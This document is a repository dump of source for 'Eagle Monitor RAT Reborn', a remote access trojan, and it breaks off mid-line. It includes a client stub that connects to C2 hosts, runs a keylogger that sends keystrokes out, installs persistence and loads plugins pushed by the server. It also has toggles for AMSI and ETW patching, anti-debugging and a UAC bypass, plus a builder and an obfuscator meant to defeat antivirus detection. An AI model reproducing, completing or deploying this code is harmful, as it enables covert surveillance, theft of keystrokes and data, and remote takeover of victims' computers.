/>\n  </ItemGroup>\n  <ItemGroup>\n    <Reference Include=\"System\" />\n    <Reference Include=\"System.Windows.Forms\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ProjectReference Include=\"..\\Plugins\\Offline\\Offline.csproj\">\n      <Project>{d317ba4e-5818-4fc4-aa4e-eea824317759}</Project>\n      <Name>Offline</Name>\n    </ProjectReference>\n    <ProjectReference Include=\"..\\Utils\\PacketLib\\PacketLib.csproj\">\n      <Project>{81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff}</Project>\n      <Name>PacketLib</Name>\n    </ProjectReference>\n  </ItemGroup>\n  <ItemGroup>\n    <Compile Include=\"client.cs\" />\n  </ItemGroup>\n  <Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\n</Project>"
  },
  {
    "path": "Remote Access Tool/C2/client.cs",
    "content": "using PacketLib.Packet;\nusing PacketLib;\nusing System;\nusing System.Runtime.InteropServices;\nusing System.Threading;\nusing PacketLib.Utils;\nusing System.IO;\nusing System.Net.Sockets;\nusing System.IO.Compression;\nusing System.Collections.Generic;\nusing System.Security.Principal;\n//[assembly: System.Reflection.AssemblyVersion(\"1.0.0.1\")]\n//[assembly: System.Reflection.AssemblyFileVersion(\"1.0.0.1\")]\n//[assembly: System.Reflection.AssemblyTitle(\"%Client%\")]\n//[assembly: System.Reflection. AssemblyDescription(\"%Description\")]\n[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(\".NETFramework,Version=v4.5\", FrameworkDisplayName = \".NET Framework 4.5\")]\n//[assembly: System.Runtime.Versioning.TargetFramework(\".NETFramework,Version=v4.5\", FrameworkDisplayName = \".NET Framework 4.5\")]\n//[assembly: ComVisible(false)]\n//[assembly: System.Reflection.AssemblyProduct(\"%Product%\")]\n//[assembly: System.Reflection.AssemblyCopyright(\"%Copyright%\")]\n//[assembly: System.Reflection.AssemblyTrademark(\"%Trademark%\")]\n//[assembly: System.Reflection.AssemblyCompany(\"%Company%\")]\nnamespace Client\n{\n    public static class Config\n    {\n        public static List<string> hostLists = new List<string>() { \"qsdqsdqsdkjsdljk.com:7521\", \"127.0.0.1:7788\", \"127.0.0.1:9988\", \"127.0.0.1:9875\" };\n        public static List<Host> hosts = new List<Host>();\n        public static string generalKey = \"123456789\";\n        public static bool offKeylog = false;\n        public static string mutex = \"%MUTEX%\";\n        public static Offline.Persistence.Method installationMethod = Offline.Persistence.Method.NONE;\n        public static string[] installationParam = new string[] { AppDomain.CurrentDomain.FriendlyName };\n        public static bool blockETW = false;\n        public static bool blockAMSI = false;\n        public static bool erasePEFromPEB = false;\n        public static bool antiDBG = false;\n        public static bool bypassUAC = false;\n    }\n    public class StarterClass\n    {\n        private static bool AlreadyLaunched = false;\n        private static Mutex mutex;\n        public static void OneInstance()\n        {\n            mutex = new Mutex(true, Config.mutex, out AlreadyLaunched);\n            if (!AlreadyLaunched)\n            {\n                NtTerminateProcess((IntPtr)(-1), 0);\n            }\n        }\n\n        private static System.Reflection.Assembly DomCheck(object send, System.ResolveEventArgs e)\n        {\n            byte[] offline = new byte[] { };\n\n            byte[] packetLib = new byte[] { };\n\n            if (e.Name.Contains(\"Packet\"))\n            {\n                using (MemoryStream ms = new MemoryStream())\n                {\n                    using (MemoryStream compressedStream = new MemoryStream(packetLib))\n                    {\n                        using (DeflateStream deflater = new DeflateStream(compressedStream, CompressionMode.Decompress))\n                        {\n                            deflater.CopyTo(ms);\n                        }\n                    }\n                    return System.Reflection.Assembly.Load(ms.ToArray());\n                }\n            }\n            if (e.Name.Contains(\"Off\"))\n            {\n                using (MemoryStream ms = new MemoryStream())\n                {\n                    using (MemoryStream compressedStream = new MemoryStream(offline))\n                    {\n                        using (DeflateStream deflater = new DeflateStream(compressedStream, CompressionMode.Decompress))\n                        {\n                            deflater.CopyTo(ms);\n                        }\n                    }\n                    return System.Reflection.Assembly.Load(ms.ToArray());\n                }\n            }\n            return null;\n        }\n\n        static StarterClass()\n        {\n            AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(DomCheck);\n        }\n\n        internal static void StartOfflineKeylogger()\n        {\n            if (Config.offKeylog)\n            {\n                new Thread(() =>\n                {\n                    while (true)\n                    {\n                        Thread.Sleep(30000);\n                        if (clientHandler.Connected)\n                            Offline.Keyloggers.Launch.ClientSender(StarterClass.clientHandler.host, Config.generalKey, new KeylogOfflinePacket(Offline.Keyloggers.Launch.CurrentKeyStroke(), StarterClass.clientHandler.baseIp, StarterClass.clientHandler.HWID)); Offline.Keyloggers.Launch.ClearKeyStroke();\n                    }\n                }).Start();\n\n                Offline.Keyloggers.Launch.Start();\n            }\n        }\n\n        [DllImport(\"ntdll.dll\")]\n        internal static extern uint NtTerminateProcess(IntPtr hProcess, int errorStatus);\n\n        internal static ClientHandler clientHandler;\n\n        internal static bool IsAdmin()\n        {\n            return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator);\n        }\n\n        [MTAThread]\n        public static void Main()\n        {\n            if (Config.bypassUAC && IsAdmin() == false)\n            {\n                Offline.Special.Parser.Parse(false, false, false, false, true);\n                NtTerminateProcess((IntPtr)(-1), 0);\n            }\n\n            Offline.Special.Parser.Parse(Config.blockAMSI, Config.blockETW, Config.erasePEFromPEB, Config.antiDBG);\n            OneInstance();\n            MakeInstall();\n\n            clientHandler = new ClientHandler();\n            StartOfflineKeylogger();\n\n            foreach (string h in Config.hostLists)\n            {\n                string[] sp = h.Split(':');\n                Config.hosts.Add(new Host(sp[0], sp[1]));\n            }\n\n            ClientHandler.StartConnect(clientHandler);\n\n            new Thread(new ThreadStart(() => {\n                while (true)\n                {\n                    Thread.Sleep(-1);\n                }\n            })).Start();\n        }\n\n        public static void MakeInstall()\n        {\n            Offline.Persistence.Launch.Install(Config.installationMethod, Config.installationParam);\n        }\n\n        internal static class PacketHandler\n        {\n\n            private delegate void LoadPluginAsync(IPacket packet);\n            private static LoadPluginAsync loadPluginAsync;\n            static PacketHandler()\n            {\n                loadPluginAsync = new LoadPluginAsync(LoadPlugin);\n            }\n\n            internal static void HandlePacket(IPacket packet)\n            {\n                try\n                {\n                    switch (packet.PacketType)\n                    {\n                        case PacketType.CONNECTED:\n                            StarterClass.clientHandler.baseIp = packet.BaseIp;\n                            break;\n\n                        case (PacketType.CLOSE_CLIENT):\n                            StarterClass.NtTerminateProcess((IntPtr)(-1), 0);\n                            break;\n\n                        case (PacketType.UNINSTALL_CLOSE_CLIENT):\n                            Offline.Persistence.Launch.Uninstall(Config.installationMethod, Config.installationParam);\n                            break;\n\n                        default:\n                            loadPluginAsync.BeginInvoke(packet, new AsyncCallback(EndLoadPlugin), null);\n                            break;\n\n                    }\n                }\n                catch { }\n            }\n\n            private static void LoadPlugin(IPacket packet)\n            {\n                System.Reflection.Assembly assemblytoload = System.Reflection.Assembly.Load(Compressor.QuickLZ.Decompress(packet.Plugin));\n                System.Reflection.MethodInfo method = assemblytoload.GetType(\"Plugin.Launch\").GetMethod(\"Main\");\n                object obj = assemblytoload.CreateInstance(method.Name);\n                LoadingAPI loadingAPI = new LoadingAPI\n                {\n                    Host = StarterClass.clientHandler.host,\n                    BaseIp = StarterClass.clientHandler.baseIp,\n                    HWID = StarterClass.clientHandler.HWID,\n                    Key = Config.generalKey,\n                    CurrentPacket = packet,\n                };\n\n                method.Invoke(obj, new object[] { loadingAPI });\n            }\n\n            private static void EndLoadPlugin(IAsyncResult ar)\n            {\n                loadPluginAsync.EndInvoke(ar);\n            }\n        }\n    }\n    internal class ClientHandler\n    {\n        static ClientHandler()\n        {\n            readDataAsync = new ReadDataAsync(Receive);\n            parsePacketAsync = new ParsePacketAsync(ParsePacket);\n            sendDataAsync = new SendDataAsync(Send);\n            connectAsync = new ConnectAsync(Connect);\n        }\n\n        private static readonly ReadDataAsync readDataAsync;\n        private static readonly ParsePacketAsync parsePacketAsync;\n        private static readonly ConnectAsync connectAsync;\n        private static readonly SendDataAsync sendDataAsync;\n\n        private delegate byte[] ReadDataAsync(ClientHandler clientHandler);\n        private delegate IPacket ParsePacketAsync(byte[] bufferPacket);\n        private delegate bool ConnectAsync(ClientHandler clientHandler);\n        private delegate int SendDataAsync(ClientHandler clientHandler, IPacket data);\n\n        #region \"Non Static\"\n        internal Host host { get; set; }\n        internal string HWID { get; set; }\n        internal string baseIp { get; set; }\n        private Socket socket { get; set; }\n        internal bool Connected { get; set; }\n        internal int indexHost { get; set; }\n        #endregion\n\n        public static void StartConnect(ClientHandler clientHandler)\n        {\n\n            if (clientHandler.indexHost == Config.hosts.Count)\n                clientHandler.indexHost = 0;\n\n            clientHandler.host = Config.hosts[clientHandler.indexHost];\n            clientHandler.indexHost++;\n\n            Thread.Sleep(125);\n\n            connectAsync.BeginInvoke(clientHandler, new AsyncCallback(EndConnect), clientHandler);\n        }\n\n        private static bool Connect(ClientHandler clientHandler)\n        {\n            try\n            {\n                clientHandler.socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);\n                clientHandler.socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true);\n                clientHandler.socket.Connect(clientHandler.host.host, clientHandler.host.port);\n                return true;\n            }\n            catch { }\n            return false;\n        }\n\n        private static void EndConnect(IAsyncResult ar)\n        {\n            ClientHandler clientHandler = (ClientHandler)ar.AsyncState;\n            clientHandler.Connected = connectAsync.EndInvoke(ar);\n\n            if (clientHandler.Connected)\n            {\n                ConnectedPacket connectionPacket = new ConnectedPacket();\n                clientHandler.HWID = connectionPacket.HWID;\n                StartSendPacket(clientHandler, connectionPacket);\n                StartReceive(clientHandler);\n            }\n            else\n            {\n                StartConnect(clientHandler);\n            }\n        }\n\n        private static void StartReceive(ClientHandler clientHandler)\n        {\n            if (clientHandler.Connected)\n                readDataAsync.BeginInvoke(clientHandler, new AsyncCallback(EndReceive), clientHandler);\n            else\n                StartConnect(clientHandler);\n        }\n        private static byte[] Receive(ClientHandler clientHandler)\n        {\n            try\n            {\n                int total = 0;\n                int recv;\n                byte[] header = new byte[5];\n                clientHandler.socket.Poll(-1, SelectMode.SelectRead);\n                recv = clientHandler.socket.Receive(header, 0, 5, 0);\n\n                int size = BitConverter.ToInt32(new byte[4] { header[0], header[1], header[2], header[3] }, 0);\n                PacketType packetType = (PacketType)header[4];\n\n                int dataleft = size;\n                byte[] data = new byte[size];\n                while (total < size)\n                {\n                    recv = clientHandler.socket.Receive(data, total, dataleft, 0);\n                    total += recv;\n                    dataleft -= recv;\n                }\n\n                return data;\n            }\n            catch (Exception)\n            {\n                clientHandler.Connected = false;\n                return null;\n            }\n        }\n        private static void EndReceive(IAsyncResult ar)\n        {\n            byte[] data = readDataAsync.EndInvoke(ar);\n            ClientHandler clientHandler = (ClientHandler)ar.AsyncState;\n            if (data != null && clientHandler.Connected)\n                parsePacketAsync.BeginInvoke(data, new AsyncCallback(EndParsePacket), clientHandler);\n\n            StartReceive(clientHandler);\n        }\n\n\n        private static IPacket ParsePacket(byte[] bufferPacket)\n        {\n            return bufferPacket.DeserializePacket(Config.generalKey);\n        }\n        private static void EndParsePacket(IAsyncResult ar)\n        {\n            IPacket packet = parsePacketAsync.EndInvoke(ar);\n            StarterClass.PacketHandler.HandlePacket(packet);\n        }\n\n\n        private static void StartSendPacket(ClientHandler clientHandler, IPacket packet)\n        {\n            if (clientHandler.Connected)\n                sendDataAsync.BeginInvoke(clientHandler, packet, new AsyncCallback(EndSendPacket), clientHandler);\n        }\n\n        private static int Send(ClientHandler clientHandler, IPacket data)\n        {\n            try\n            {\n                byte[] encryptedData = data.SerializePacket(Config.generalKey);\n                lock (clientHandler.socket)\n                {\n                    int total = 0;\n                    int size = encryptedData.Length;\n                    int datalft = size;\n                    byte[] header = new byte[5];\n                    clientHandler.socket.Poll(-1, SelectMode.SelectWrite);\n\n                    byte[] temp = BitConverter.GetBytes(size);\n\n                    header[0] = temp[0];\n                    header[1] = temp[1];\n                    header[2] = temp[2];\n                    header[3] = temp[3];\n                    header[4] = (byte)data.PacketType;\n\n                    int sent = clientHandler.socket.Send(header);\n\n                    if (size > 1000000)\n                    {\n                        using (MemoryStream memoryStream = new MemoryStream(encryptedData))\n                        {\n                            int read = 0;\n                            memoryStream.Position = 0;\n                            byte[] chunk = new byte[50 * 1000];\n                            while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)\n                            {\n                                clientHandler.socket.Send(chunk, 0, read, SocketFlags.None);\n                            }\n                        }\n                    }\n                    else\n                    {\n                        while (total < size)\n                        {\n                            sent = clientHandler.socket.Send(encryptedData, total, size, SocketFlags.None);\n                            total += sent;\n                            datalft -= sent;\n                        }\n                    }\n                    return total;\n                }\n            }\n            catch (Exception)\n            {\n                clientHandler.Connected = false;\n                return 0;\n            }\n        }\n        private static void EndSendPacket(IAsyncResult ar)\n        {\n            int length = sendDataAsync.EndInvoke(ar);\n            ClientHandler clientHandler = (ClientHandler)ar.AsyncState;\n            if (clientHandler.Connected)\n            {\n                return;\n            }\n        }\n    }\n}"
  },
  {
    "path": "Remote Access Tool/C2/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs",
    "content": "// <autogenerated />\nusing System;\nusing System.Reflection;\n"
  },
  {
    "path": "Remote Access Tool/C2/obj/Release/C2.csproj.CopyComplete",
    "content": ""
  },
  {
    "path": "Remote Access Tool/C2/obj/Release/C2.csproj.CoreCompileInputs.cache",
    "content": "cda5eb7bc6e232f33e621e1a1a38483d03ae39f6\n"
  },
  {
    "path": "Remote Access Tool/C2/obj/Release/C2.csproj.FileListAbsolute.txt",
    "content": "F:\\$$$$$\\Eagle Monitor RAT Reborn\\C2\\bin\\Release\\C2.exe.config\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\C2\\bin\\Release\\C2.exe\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\C2\\bin\\Release\\C2.pdb\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\C2\\bin\\Release\\Offline.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\C2\\bin\\Release\\PacketLib.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\C2\\obj\\Release\\C2.csproj.AssemblyReference.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\C2\\obj\\Release\\C2.csproj.CoreCompileInputs.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\C2\\obj\\Release\\C2.csproj.CopyComplete\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\C2\\obj\\Release\\C2.exe\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\C2\\obj\\Release\\C2.pdb\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\C2\\obj\\Release\\C2.csproj.AssemblyReference.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\C2\\obj\\Release\\C2.csproj.CoreCompileInputs.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\C2\\obj\\Release\\C2.exe\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\C2\\obj\\Release\\C2.pdb\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\C2\\bin\\Release\\C2.exe.config\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\C2\\bin\\Release\\C2.exe\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\C2\\bin\\Release\\C2.pdb\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\C2\\bin\\Release\\Offline.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\C2\\bin\\Release\\PacketLib.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\C2\\obj\\Release\\C2.csproj.CopyComplete\n"
  },
  {
    "path": "Remote Access Tool/C2/obj/Release/_IsIncrementalBuild",
    "content": "obj\\Release\\\\_IsIncrementalBuild\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Builder/IconInjector.cs",
    "content": "﻿using System;\nusing System.Windows.Forms;\nusing Vestris.ResourceLib;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.Builder\n{\n    internal static class IconInjector\n    {\n        internal static void SetIcon(string iconPath, string exePath)\n        {\n            try\n            {\n                IconFile iconFile = new IconFile(iconPath);\n                IconDirectoryResource iconDirectoryResource = new IconDirectoryResource(iconFile);\n                iconDirectoryResource.SaveTo(exePath);\n            }\n            catch (Exception ex)\n            {\n                MessageBox.Show(ex.ToString());\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Builder/Obfuscate.cs",
    "content": "﻿using dnlib.DotNet;\nusing dnlib.DotNet.Emit;\nusing System;\nusing System.Linq;\nusing System.Text;\nusing System.Collections.Generic;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n|| From : https://github.com/MicrobBlue/BiFang/blob/master/src/BiFang/until/Obfuscate.cs ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.Builder\n{\n    internal class Obfuscate\n    {\n        #region \"BiFang\"\n        private static void ObfuscateMethods(ModuleDef md)\n        {\n            foreach (var type in md.GetTypes())\n            {\n                // create method to obfuscation map\n                foreach (MethodDef method in type.Methods)\n                {\n                    // empty method check\n                    if (!method.HasBody) continue;\n                    // method is a constructor\n                    if (method.IsConstructor) continue;\n                    // method overrides another\n                    if (method.HasOverrides) continue;\n                    // method has a rtspecialname, VES needs proper name\n                    if (method.IsRuntimeSpecialName) continue;\n                    // method foward declaration\n                    if (method.DeclaringType.IsForwarder) continue;\n                    Random random = new Random();\n                    string encName = Misc.RandomString.RandomStringFunction(random.Next(5, 11));\n                   // Console.WriteLine($\"{method.Name} -> {encName}\");\n                    method.Name = encName;\n                }\n            }\n        }\n\n        private static void ObfuscateStrings(ModuleDef md)\n        {\n            foreach (var type in md.GetTypes())\n            {\n                foreach (MethodDef method in type.Methods)\n                {\n                    if (!method.HasBody) continue;\n                    for (int i = 0; i < method.Body.Instructions.Count(); i++)\n                    {\n                        if (method.Body.Instructions[i].OpCode == OpCodes.Ldstr)\n                        {\n                            String regString = method.Body.Instructions[i].Operand.ToString();\n                            String encString = Convert.ToBase64String(UTF8Encoding.UTF8.GetBytes(regString));\n\n                            method.Body.Instructions[i].OpCode = OpCodes.Nop; // errors occur if instruction not replaced with Nop\n                            method.Body.Instructions.Insert(i + 1, new Instruction(OpCodes.Call, md.Import(typeof(System.Text.Encoding).GetMethod(\"get_UTF8\", new Type[] { })))); // Load string onto stack\n                            method.Body.Instructions.Insert(i + 2, new Instruction(OpCodes.Ldstr, encString)); // Load string onto stack\n                            method.Body.Instructions.Insert(i + 3, new Instruction(OpCodes.Call, md.Import(typeof(System.Convert).GetMethod(\"FromBase64String\", new Type[] { typeof(string) })))); // call method FromBase64String with string parameter loaded from stack, returned value will be loaded onto stack\n                            method.Body.Instructions.Insert(i + 4, new Instruction(OpCodes.Callvirt, md.Import(typeof(System.Text.Encoding).GetMethod(\"GetString\", new Type[] { typeof(byte[]) })))); // call method GetString with bytes parameter loaded from stack\n                            i += 4;\n                        }\n                    }\n                }\n            }\n        }\n\n        private static void ObfuscateClasses(ModuleDef md)\n        {\n            foreach (var type in md.GetTypes())\n            {\n                Random random = new Random();\n                string encName = \"System.\" + Misc.RandomString.RandomStringFunction(random.Next(5, 11));\n                type.Name = encName;\n            }\n        }\n\n        private static void CleanAsm(ModuleDef md)\n        {\n            foreach (var type in md.GetTypes())\n            {\n                foreach (MethodDef method in type.Methods)\n                {\n                    // empty method check\n                    if (!method.HasBody) continue;\n\n                    method.Body.SimplifyBranches();\n                    method.Body.OptimizeBranches(); // negates simplifyBranches\n                    //method.Body.OptimizeMacros();\n                }\n            }\n        }\n\n        #endregion\n        // Other\n        #region \"Obfuscator from other src\"\n        private static Dictionary<string, string> _namesFields = new Dictionary<string, string>();\n        private static void ObfuscateFields(ModuleDef md) \n        {\n            foreach (TypeDef type in md.GetTypes())\n            {\n                if (type.IsGlobalModuleType)\n                    continue;\n\n                foreach (var field in type.Fields)\n                {\n                    string nameValue;\n                    if (_namesFields.TryGetValue(field.Name, out nameValue))\n                        field.Name = nameValue;\n                    else\n                    {\n                        if (!field.IsSpecialName && !field.HasCustomAttributes)\n                        {\n                            string newName = Misc.RandomString.GenerateRandomString();\n                            _namesFields.Add(field.Name, newName);\n                            field.Name = newName;\n                        }\n                    }\n                }\n            }\n            ApplyChangesToResourcesFields(md);\n        }\n        private static void ApplyChangesToResourcesFields(ModuleDef md)\n        {\n            foreach (TypeDef type in md.GetTypes())\n            {\n                if (type.IsGlobalModuleType)\n                    continue;\n\n                foreach (MethodDef method in type.Methods)\n                {\n                    if (method.Name != \"InitializeComponent\")\n                        continue;\n\n                    var instr = method.Body.Instructions;\n\n                    for (int i = 0; i < instr.Count - 3; i++)\n                    {\n                        if (instr[i].OpCode == OpCodes.Ldstr)\n                        {\n                            foreach (var item in _namesFields)\n                            {\n                                if (item.Key == instr[i].Operand.ToString())\n                                {\n                                    instr[i].Operand = item.Value;\n                                }\n                            }\n                        }\n                    }\n                }\n            }\n        }\n\n\n        private static void ObfuscateProperties(ModuleDef md)\n        {\n            foreach (TypeDef type in md.GetTypes())\n            {\n                if (type.IsGlobalModuleType)\n                    continue;\n\n                foreach (var property in type.Properties)\n                {\n                    property.Name = Misc.RandomString.GenerateRandomString();\n                }\n            }\n        }\n\n\n        private static Dictionary<string, string> _namesSpaces = new Dictionary<string, string>();\n\n        private static void ObfuscateNamespaces(ModuleDef md)\n        {\n            md.Name = Misc.RandomString.GenerateRandomString();\n\n            foreach (TypeDef type in md.GetTypes())\n            {\n                if (type.IsGlobalModuleType)\n                    continue;\n\n                if (type.Namespace == \"\")\n                    continue;\n\n                string nameValue;\n                if (_namesSpaces.TryGetValue(type.Namespace, out nameValue))\n                    type.Namespace = nameValue;\n                else\n                {\n                    string newName = Misc.RandomString.GenerateRandomString();\n\n                    _namesSpaces.Add(type.Namespace, newName);\n                    type.Namespace = newName;\n                }\n            }\n            ApplyChangesToResourcesNamespace(md);\n        }\n\n        private static void ApplyChangesToResourcesNamespace(ModuleDef md)\n        {\n\n            foreach (var resource in md.Resources)\n            {\n                foreach (var item in _namesSpaces)\n                {\n                    if (resource.Name.Contains(item.Key))\n                    {\n                        resource.Name = resource.Name.Replace(item.Key, item.Value);\n                    }\n                }\n            }\n\n            foreach (TypeDef type in md.GetTypes())\n            {\n                foreach (var property in type.Properties)\n                {\n                    if (property.Name != \"ResourceManager\")\n                        continue;\n\n                    var instr = property.GetMethod.Body.Instructions;\n\n                    for (int i = 0; i < instr.Count; i++)\n                    {\n                        if (instr[i].OpCode == OpCodes.Ldstr)\n                        {\n                            foreach (var item in _namesSpaces)\n                            {\n                                if (instr[i].ToString().Contains(item.Key))\n                                    instr[i].Operand = instr[i].Operand.ToString().Replace(item.Key, item.Value);\n                            }\n                        }\n                    }\n                }\n            }\n        }\n        #endregion\n        // Other\n        internal static void ObfuscateStub(ModuleDef md)//, string outFile)\n        {\n            md.Name = \"MS.Internal\" + Misc.RandomString.RandomStringFunction(3);////From BiFang + changed by other\n            ObfuscateStrings(md);       //From BiFang\n            ObfuscateMethods(md);       //From BiFang\n            ObfuscateClasses(md);       //From BiFang\n            ObfuscateFields(md);        //From other\n            ObfuscateProperties(md);    //From other\n            ObfuscateNamespaces(md);    //From other\n\n            CleanAsm(md);\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Builder/StubBuilder.cs",
    "content": "﻿using System;\nusing System.Diagnostics;\nusing System.IO.Compression;\nusing System.IO;\nusing System.Text;\nusing System.Windows.Forms;\nusing dnlib.DotNet;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.Builder\n{\n    internal class StubBuilder\n    {\n        internal static bool BuildClient()\n        {\n            Program.mainForm.buildLogsGuna2TextBox.BeginInvoke((MethodInvoker)(() => {\n                Program.mainForm.buildLogsGuna2TextBox.Clear();\n                string stub = File.ReadAllText(Application.StartupPath + \"\\\\Stubs\\\\client.cs\");\n\n                string xmlConfig = File.ReadAllText(Application.StartupPath + \"\\\\Stubs\\\\client.xml\");\n                string archi = xmlConfig.Replace(\"anycpu\", Program.mainForm.archiGuna2ComboBox.Text);\n                File.WriteAllText(Application.StartupPath + \"\\\\Stubs\\\\clienttmp.xml\", archi);\n                //Doing patch\n                LogStep(\"Adding encryption key...\" + Environment.NewLine);\n                stub = ReplaceStub(stub, \"string generalKey = \\\"123456789\\\"\", $\"string generalKey = \\\"{Program.mainForm.builderKeyGuna2TextBox.Text}\\\"\");\n                LogStep(\"Adding offline lib...\" + Environment.NewLine);\n                stub = ReplaceStub(stub, \"byte[] offline = new byte[] { };\", \"byte[] offline = \" + LibCompressor(File.ReadAllBytes(Application.StartupPath + \"\\\\Stubs\\\\Offline.dll\")));\n                LogStep(\"Adding packet lib...\" + Environment.NewLine);\n                stub = ReplaceStub(stub, \"byte[] packetLib = new byte[] { };\", \"byte[] packetLib = \" + LibCompressor(File.ReadAllBytes(Application.StartupPath + \"\\\\PacketLib.dll\")));\n\n                LogStep(\"Patching hosts...\" + Environment.NewLine);\n                string hostsList = null;\n\n                foreach (DataGridViewRow host in Program.mainForm.hostsDataGridView.Rows)\n                {\n                    hostsList += $\"\\\"{host.Cells[0].Value}:{host.Cells[1].Value}\\\",\";\n                }\n\n                stub = stub.Replace(\"\\\"qsdqsdqsdkjsdljk.com:7521\\\", \\\"127.0.0.1:7788\\\", \\\"127.0.0.1:9988\\\", \\\"127.0.0.1:9875\\\"\", hostsList.Substring(0, hostsList.Length - 1));\n\n\n                if (Program.mainForm.persistenceGuna2CheckBox.Checked && Program.mainForm.persistenceMethodGuna2ComboBox.SelectedIndex != -1)\n                {\n                    LogStep(\"Adding persistence...\" + Environment.NewLine);\n                    stub = stub.Replace(\"Offline.Persistence.Method.NONE\", \"Offline.Persistence.Method.SHT_STARTUP_FOLDER\");\n                }\n                else\n                    LogStep(\"Skipping persistence...\" + Environment.NewLine);\n\n                if (Program.mainForm.offKeyloguna2CheckBox.Checked)\n                {\n                    LogStep(\"Setting offline keylogger...\" + Environment.NewLine);\n                    stub = stub.Replace(\"bool offKeylog = false;\", \"bool offKeylog = true;\");\n                }\n                else\n                    LogStep(\"Skipping offline keylogger...\" + Environment.NewLine);\n\n\n                if (Program.mainForm.patchETWGuna2CheckBox.Checked)\n                {\n                    LogStep(\"Setting etw patch...\" + Environment.NewLine);\n                    stub = stub.Replace(\"bool blockETW = false;\", \"bool blockETW = true;\");\n                }\n                else\n                    LogStep(\"Skipping etw patch...\" + Environment.NewLine);\n\n\n                if (Program.mainForm.patchAMSIGuna2CheckBox.Checked)\n                {\n                    LogStep(\"Setting amsi patch...\" + Environment.NewLine);\n                    stub = stub.Replace(\"bool blockAMSI = false;\", \"bool blockAMSI = true;\");\n                }\n                else\n                    LogStep(\"Skipping amsi patch...\" + Environment.NewLine);\n\n\n                if (Program.mainForm.erasePEHeadersGuna2CheckBox.Checked)\n                {\n                    LogStep(\"Setting PE headers eraser...\" + Environment.NewLine);\n                    stub = stub.Replace(\"bool erasePEFromPEB = false;\", \"bool erasePEFromPEB = true;\");\n                }\n                else\n                    LogStep(\"Skipping PE headers eraser...\" + Environment.NewLine);\n\n\n                if (Program.mainForm.antiDebugGuna2CheckBox.Checked)\n                {\n                    LogStep(\"Setting anti-debug...\" + Environment.NewLine);\n                    stub = stub.Replace(\"bool antiDBG = false;\", \"bool antiDBG = true;\");\n                }\n                else\n                    LogStep(\"Skipping anti-debug...\" + Environment.NewLine);\n\n                if (Program.mainForm.bypassICMLuaUtilGuna2CheckBox.Checked)\n                {\n                    LogStep(\"Setting bypass uac...\" + Environment.NewLine);\n                    stub = stub.Replace(\"bypassUAC = false;\", \"bypassUAC = true;\");\n                }\n                else\n                    LogStep(\"Skipping bypass uac...\" + Environment.NewLine);\n\n                LogStep(\"Renaming code...\" + Environment.NewLine);\n\n                stub = Rename(stub, \"hosts\");\n                stub = Rename(stub, \"hostLists\");\n                stub = Rename(stub, \"generalKey\");\n                stub = Rename(stub, \"Config\");\n                stub = Rename(stub, \"installationParam\");\n                stub = Rename(stub, \"installationMethod\");\n                stub = Rename(stub, \"StarterClass\");\n                stub = Rename(stub, \"AlreadyLaunched\");\n                stub = Rename(stub, \"OneInstance\");\n                stub = Rename(stub, \"MakeInstall\");\n                stub = Rename(stub, \"StartOfflineKeylogger\");\n                stub = Rename(stub, \"DomCheck\");\n\n                //Delegates\n                stub = Rename(stub, \"ReadDataAsync\");\n                stub = Rename(stub, \"readDataAsync\");\n\n                stub = Rename(stub, \"ParsePacketAsync\");\n                stub = Rename(stub, \"parsePacketAsync\");\n\n                stub = Rename(stub, \"ConnectAsync\");\n                stub = Rename(stub, \"connectAsync\");\n\n                stub = Rename(stub, \"SendDataAsync\");\n                stub = Rename(stub, \"sendDataAsync\");\n\n                stub = Rename(stub, \"LoadPluginAsync\");\n                stub = Rename(stub, \"loadPluginAsync\");\n                //Methods\n                stub = Rename(stub, \"StartConnect\");\n                stub = Rename(stub, \"EndConnect\");\n\n                stub = Rename(stub, \"StartReceive\");\n                stub = Rename(stub, \"EndReceive\");\n\n                stub = Rename(stub, \"LoadPlugin\");\n                stub = Rename(stub, \"EndLoadPlugin\");\n\n                stub = Rename(stub, \"ParsePacket\");\n                stub = Rename(stub, \"EndParsePacket\");\n\n                stub = Rename(stub, \"StartSendPacket\");\n                stub = Rename(stub, \"EndSendPacket\");\n     \n                //Class\n                stub = Rename(stub, \"PacketHandler\");\n                stub = Rename(stub, \"HandlePacket\");\n\n                stub = Rename(stub, 